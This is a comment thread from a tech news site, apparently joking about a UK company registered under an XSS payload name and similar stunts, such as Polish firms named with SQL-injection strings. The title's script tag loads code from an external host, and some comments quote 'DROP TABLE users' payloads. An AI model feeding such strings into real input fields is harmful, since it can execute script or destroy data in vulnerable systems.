News for hackers. Stuff that matters.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by FMecha on Friday October 25, 2024 @04:16PM (#41949232)
In 2014, a Polish driver modified their license plate to also contain an SQL injection in effort to thwart speed cameras: https://hackaday.com/2014/04/04/sql-injection-fools-speed-tr...
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by tptacek on Friday October 25, 2024 @04:27PM (#41949337)
Not so much "modified their license plate" so much as put a banner across the license plate part of their car. No indication that it did anything; would be in the top 5 all-time dumbest hacks.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by throwaway81523 on Friday October 25, 2024 @04:30PM (#41949361)
EVERY Polish driver (without intending to) possibly exploited lack of type checking in an Irish national crime database:

https://en.wikipedia.org/wiki/Driving_licence_in_Poland#Mist...

Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by xg15 on Friday October 25, 2024 @05:04PM (#41949748)
The Ignobel prize in literature the police got awarded was a nice touch.

I still wonder how their DB was set up to accept this data in the first place. It makes sense to allow a person to be associated with multiple addresses - people move, sometimes a lot - but a person should not under any circumstances have multiple DoBs, should it?

(Unless I missed "Falsehoods programmers believe about personal data: People are born only once" or something)

Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by stoperaticless on Friday October 25, 2024 @06:57PM (#41950710)
Well, here is a story I heard (central Europe).

Parents did not want the baby, so they left it at the door step, date of birth was not known, so some was assigned and used in some legal documents. Later, original parents changed their minds, real date of birth became known.

(For sanity sake, I would just say choose one or flip a coin and be done with it, but at the same time I could imagine that some layer could take my sanity into account)

Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by n_plus_1_acc on Friday October 25, 2024 @07:06PM (#41950805)
The DoB may change (per law, not the real), for example refugees without travel documents often get assigned Jan 01.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by fragmede on Friday October 25, 2024 @05:15PM (#41949856)
A person can't, but there can be multiple people with the exact same name, with different birthdays (or even the same!) so DoB isn't guarantee to be unique without some other identifier.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by xg15 on Friday October 25, 2024 @05:53PM (#41950180)
Ah, that makes sense. So the DB likely assigned the incidents to multiple different persons with the same name and not a single person.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by afh1 on Friday October 25, 2024 @04:38PM (#41949447)
Fun read but not sure it can be attributed to type checking or the lack thereof
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by tedunangst on Friday October 25, 2024 @04:44PM (#41949529)
What type checking would you add to your database schema to prevent this?
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by RustySpottedCat on Friday October 25, 2024 @04:56PM (#41949677)
I don't think this can be prevented with a schema. The only thing someone has to do is legally rename themselves to "Driving license" to be the edge case in this check. Teach cops to look for the (almost) international driver license format where your names are preceeded by the numbers 1 and 2 on the license.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by fragmede on Friday October 25, 2024 @05:17PM (#41949869)
One thing (that was done in 2013) would be to standardize the format of the card, so that name is in the same place no matter which (EEA) country it's from.

https://en.wikipedia.org/wiki/European_driving_licence

The other thing is to list out the field names in all 27/30/33 languages and flag those for double checking. Theres probably few people named "drivers license". Finally, just take a photo of the whole ID so even if the wrong value is entered initially, the right value can be recovered later as necessary.

None of that is foolproof, but it doesn't have to be 100% foolproof, just not totally broken.

Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by justsomehnguy on Friday October 25, 2024 @04:56PM (#41949676)
That's an administrative problem so don't solve it with a technical means.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by RustySpottedCat on Friday October 25, 2024 @04:49PM (#41949599)
I'm sorry, but PULSE (Police Using Leading Systems Effectively) is the stupidest name for a "computer system" I've ever seen.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by OJFord on Friday October 25, 2024 @04:54PM (#41949658)
A 'backronym' if ever there was one.
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by userbinator on Friday October 25, 2024 @10:47PM (#41952130)
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by fouronnes3 on Friday October 25, 2024 @04:48PM (#41949592)
There's a great Radiolab episode where they interview the person who had NULL as his license plate. https://radiolab.org/podcast/null/transcript
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by sva_ on Friday October 25, 2024 @05:46PM (#41950123)
Another polish madlad named his company

    Dariusz Jakubowski x'; DROP TABLE users; SELECT '1 
https://aplikacja.ceidg.gov.pl/ceidg/ceidg.public.ui/searchd...
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by creamyhorror on Saturday October 26, 2024 @08:26AM (#41954336)
Little Darry Tables sure has grown up into a fine young man!
Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by saithir on Saturday October 26, 2024 @01:01PM (#41956029)
There's also a Dorian Kucharski '); DROP TABLE users;-- and two more examples of a bit more failed (or maybe those two are the ones that chickened out) attempts when you search ceidg for "DROP TABLE".

I am a bit proud.

Re:UK Company named "><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD" f... by latexr on Saturday October 26, 2024 @08:01AM (#41954225)
Obligatory XKCD: https://xkcd.com/1105/. Be sure to check the alt text too.